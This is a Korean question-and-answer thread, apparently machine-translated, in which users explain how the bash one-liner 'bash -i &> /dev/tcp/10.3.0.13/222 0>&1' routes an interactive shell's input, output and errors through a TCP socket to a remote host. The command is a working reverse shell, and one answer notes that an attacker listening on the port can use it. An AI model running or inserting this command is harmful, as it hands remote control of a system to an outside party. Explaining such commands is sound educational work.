
명령을 이해하려고 노력 중입니다.
bash -i &> /dev/tcp/10.3.0.13/222 0>&1
이는 "bash -i"의 STDIN이 STDOUT 내용을 얻는다는 의미입니까?
답변1
&> file
자체는 와 동일합니다 . 즉 , 파일 설명자 1에서 쓰기 전용 모드로 > file 2>&1
열려 있고 해당 파일 설명자 1을 파일 설명자 2에 복제하여 fd 1과 2(stdout 및 stderr)가 모두 해당 파일을 가리키도록 합니다.file
열린 파일 설명
0>&1
( 0<&1
또는 과 동일 <&1
) 목록에 0(stdin)을 추가합니다. fd 1도 0으로 복제합니다(fd 0은 fd 1이 가리키는 것과 동일한 리소스를 가리키도록 만들어집니다).
이제 기능을 제공하는 ksh와 같이 수행할 때 을 > /dev/tcp/host/port
수행 bash
하는 대신 TCP 소켓을 생성하고 에 연결 open(file, O_WRONLY)
합니다 . 그건 아니야bash
host:port
쓰기 전용리디렉션, 이는 읽기+쓰기 네트워크 소켓입니다.
따라서 fds 0, 1, 2는 bash -i
TCP 소켓이 됩니다. bash -i
stdin에서 읽을 때 소켓에서 읽으므로 소켓의 다른 쪽 끝에 있는 모든 항목에서 읽으며 host:post
(또는 거기에서 실행되는 명령) fd 1 또는 2에 쓸 때 해당 소켓을 통해 전송됩니다.
답변2
단계별로 살펴보겠습니다.
bash -i
: 대화형 셸을 엽니다.&>
: 표준 출력 및 오류를 포트 222에서 수신 대기하는 IP 10.3.0.13에 열린 소켓으로 리디렉션합니다.0>&1
: 0<&1로 읽는 걸 좋아해요. 이는 문자 그대로 '0'이 '1'에 연결되어 있음을 의미합니다. 이는 stdin이 stdout에 연결되어 있음을 의미하며, 글머리 기호 2에서 우리는 포트 222에서 수신 대기하는 공격자가 이 bash 프로세스에 대한 stdin을 사용할 수 있다는 것을 알고 있습니다.
답변3
간단히 말해서, 이 명령은 ip로 지정된 호스트인 tcp 소켓을 통해 입력을 읽고 출력 및 오류를 전달하는 대화형 bash 셸을 엽니다.
세부 사항: (!!!저는 전문가가 아니기 때문에 일부 설명은 정확하지 않거나 정확하지 않을 수 있습니다.)
&> /dev/tcp/10.3.0.13/222
두 부분이 있습니다. 첫 번째:
/dev/tcp/10.3.0.13/222
Bash는 다음과 같이 리디렉션에 사용될 때 특별히 여러 파일 이름을 처리합니다.
/dev/tcp/host/port
호스트가 유효한 호스트 이름 또는 인터넷 주소이고 포트가 정수 포트 번호 또는 서비스 이름인 경우 Bash는 해당 TCP 소켓을 열려고 시도합니다.
두번째:
&>
표준 출력과 표준 오류를 동일한 파일로 보내기 위한 리디렉션 연산자 .
따라서 &> /dev/tcp/10.3.0.13/222
해당 TCP 소켓을 열고 스탠드 출력 및 스탠드 오류를 소켓으로 리디렉션하는 것을 의미합니다.
리디렉션은 실제로 이전 설명자와 동일한 열린 파일 설명을 참조하는 새 파일 설명자를 할당합니다.
열린 파일 설명은 시스템 전체의 열린 파일 테이블에 있는 항목입니다. 열린 파일 설명은 파일 오프셋과 파일 상태 플래그를 기록합니다. 파일 설명자는 열린 파일 설명에 대한 참조입니다. 나중에 경로명이 제거되거나 다른 파일을 참조하도록 수정되어도 이 참조는 영향을 받지 않습니다.
따라서 실제로는스탠드 출력그리고스탠드 오류(실제로는 파일 설명자입니다) 그리고소켓의 파일 기술자이제 같은 것을 가리킨다열린 파일 설명. 즉, bash에서 출력이나 오류가 발생할 때마다 이러한 데이터가 소켓에 기록되고 위에 지정된 대상 호스트로 전송됩니다.
0>&1
리디렉션스탠드 입력~로스탠드 출력. 위의 개념을 사용하면 문자 그대로 다음을 의미합니다.스탠드 입력같은 것을 가리킨다열린 파일 설명이는 다음이 참조하는 것입니다.스탠드 출력; 이는 에서 언급한 것과 동일합니다.스탠드 오류그리고소켓의 파일 기술자. 이는 이 명령을 실행한 호스트가 다음을 통해 데이터를 수신할 때마다 의미합니다.TCP 소켓, bash는 이를 입력으로 읽습니다.
리디렉션이 실제로 무엇을 의미하는지에 대한 지식이 없으면 리디렉션이 무엇을 의미하는지 이해하기가 매우 어렵습니다.스탠드 입력~로스탠드 출력. 내용을 읽어보라는 뜻은 아니다스탠드 출력으로스탠드 입력, 말이 안 되니까요. 실제로는 다음을 의미합니다.스탠드 입력그리고스탠드 출력같은 것을 가리킨다열린 파일 설명. 따라서 명령은 입력을 읽고 출력을 여기 소켓과 같은 동일한 파일에 전달합니다.
참고자료:
https://www.gnu.org/savannah-checkouts/gnu/bash/manual/bash.html#Redirections https://man7.org/linux/man-pages/man2/dup.2.html